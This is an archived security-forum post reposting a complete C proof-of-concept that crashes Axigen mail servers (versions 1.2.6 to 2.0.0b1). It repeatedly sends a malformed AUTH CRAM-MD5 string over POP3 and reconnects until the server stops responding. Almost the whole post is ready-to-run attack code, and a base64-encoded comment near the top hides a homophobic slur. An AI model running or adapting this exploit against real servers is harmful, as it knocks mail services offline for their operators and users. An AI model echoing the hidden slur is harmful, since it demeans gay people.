邪恶八进制信息安全团队技术讨论组's Archiver

pub!1c 2007-2-10 09:30

Axigen <= 2.0.0b1 Remote Denial of Service Exploit

[code]

/* doaxigen.c
*
* axigen 1.2.6 - 2.0.0b1 DoS (x86-lnx)
* by mu-b - Sat Oct 22 2006
*
* - Tested on: AXIGEN 1.2.6 (lnx)
*          AXIGEN 2.0.0b1 (lnx)
*
* 0x08088054: parsing error results in DoS (little-endian, confirmed)
*                          DoS + off-by-one heap smash (big-endian)
*
* Note: if you receive a SIGPIPE then you crashed the server
*     but at too high a memory address... try again.
*/

/* dGFicyBhcmUgZm9yIGZhZ2dvdHNcIQ== */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>

#define BUF_SIZE   1024
#define BBUF_SIZE  BUF_SIZE/3*4+1

#define AUTH_CMD   "AUTH CRAM-MD5\r\n"
#define QUIT_CMD   "QUIT\r\n"

#define DEF_PORT   110
#define PORT_POP3  DEF_PORT

#define RCNT_DELAY  3

static const char base64tab[] =
  "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

static int base64 (const u_char * ibuf, u_char * obuf, size_t n);
static int sock_send (int sock, u_char * src, int len);
static int sock_recv (int sock, u_char * dst, int len);
static void zhammer (u_char * host);

static int
base64 (const u_char * ibuf, u_char * obuf, size_t n)
{
  int a, b, c;
  int i, j;
  int d, e, f, g;

  a = b = c = 0;
  for (j = i = 0; i < n; i += 3)
   {
    a = (u_char) ibuf[i];
    b = i + 1 < n ? (u_char) ibuf[i + 1] : 0;
    c = i + 2 < n ? (u_char) ibuf[i + 2] : 0;

    d = base64tab[a >> 2];
    e = base64tab[((a & 3) << 4) | (b >> 4)];
    f = base64tab[((b & 15) << 2) | (c >> 6)];
    g = base64tab[c & 63];

    if (i + 1 >= n)
      f = &#39;=&#39;;
    if (i + 2 >= n)
      g = &#39;=&#39;;

    obuf[j++] = d, obuf[j++] = e;
    obuf[j++] = f, obuf[j++] = g;
   }

  obuf[j++] = &#39;\0&#39;;

  return strlen (obuf);
}

static int
sock_send (int sock, u_char * src, int len)
{
  int sbytes;

  sbytes = send (sock, src, len, 0);

  return (sbytes);
}

static int
sock_recv (int sock, u_char * dst, int len)
{
  int rbytes;

  rbytes = recv (sock, dst, len, 0);
  if (rbytes >= 0)
   dst[rbytes] = &#39;\0&#39;;

  return (rbytes);
}

static int
sockami (u_char * host, int port)
{
  struct sockaddr_in address;
  struct hostent *hp;
  int sock;

  fflush (stdout);
  if ((sock = socket (AF_INET, SOCK_STREAM, 0)) == -1)
   {
    perror ("socket()");
    exit (-1);
   }

  if ((hp = gethostbyname (host)) == NULL)
   {
    perror ("gethostbyname()");
    exit (-1);
   }

  memset (&address, 0, sizeof (address));
  memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
  address.sin_family = AF_INET;
  address.sin_port = htons (port);

  if (connect (sock, (struct sockaddr *) &address, sizeof (address)) == -1)
   {
    perror ("connect()");
    exit (EXIT_FAILURE);
   }

  return (sock);
}

static void
zhammer (u_char * host)
{
  int sock, rbytes;
  u_int i;
  u_char *md5 = "\" d339490346794f964736669ae26e29df";  /* what was that? */
  u_char sbuf[BBUF_SIZE], *sptr;
  u_char rbuf[BUF_SIZE];

  fd_set r_fds;
  struct timeval tv;

  base64 (md5, sbuf, strlen (md5));
  sptr = sbuf + strlen (sbuf);
  *sptr++ = &#39;\r&#39;, *sptr++ = &#39;\n&#39;, *sptr = &#39;\0&#39;;

  printf ("+Connecting to %s:%d.", host, PORT_POP3);
  sock = sockami (host, PORT_POP3);
  rbytes = sock_recv (sock, rbuf, sizeof (rbuf) - 1);
  if (rbytes < 0)
   return;

  for (i = 0; i < -1; i++)
   {
    int rbytes;

    sock_send (sock, AUTH_CMD, strlen (AUTH_CMD));
    rbytes = sock_recv (sock, rbuf, sizeof (rbuf) - 1);
    if (rbytes < 0)
      break;

    sock_send (sock, sbuf, strlen (sbuf));

    FD_ZERO (&r_fds);
    FD_SET (sock, &r_fds);
    tv.tv_sec = 4;        /* wait 4 seconds */
    tv.tv_usec = 0;

    rbytes = select (sock + 1, &r_fds, NULL, NULL, &tv);
    if (rbytes == -1)      /* oh dear */
      perror ("select()");
    else if (rbytes)       /* read response */
      rbytes = sock_recv (sock, rbuf, sizeof (rbuf) - 1);
    else               /* timeout, server appears to have crashed!@$%! */
      break;

    /* hmmm, too many attempts, must re-connect... */
    if (strstr (rbuf, "(maximum number of protocol errors reached)"))
      {
       close (sock);
       sleep (RCNT_DELAY);

       printf ("\n+Reconnecting to %s:%d.", host, PORT_POP3);
       sock = sockami (host, PORT_POP3);
       rbytes = sock_recv (sock, rbuf, sizeof (rbuf) - 1);
      }

    if (rbytes < 0)
      break;

    if (!((i + 1) % 4))
      printf ("..%d", i + 1);

    fflush (stdout);
    usleep (1000);
   }

  printf ("\n");
}

int
main (int argc, char **argv)
{
  printf ("axigen 1.2.6 - 2.0.0b1 DoS POC\n"
       "by: <[email]mu-b@digit-labs.org[/email]>, <[email]mu-b@65535.com[/email]>\n\n");

  if (argc <= 1)
   {
    fprintf (stderr, "Usage: %s <host>\n", argv[0]);
    exit (EXIT_SUCCESS);
   }

  zhammer (argv[1]);

  printf ("+Wh00t!\n");

  return (EXIT_SUCCESS);
}

[/code]

页: [1]
© 1999-2008 EvilOctal Security Team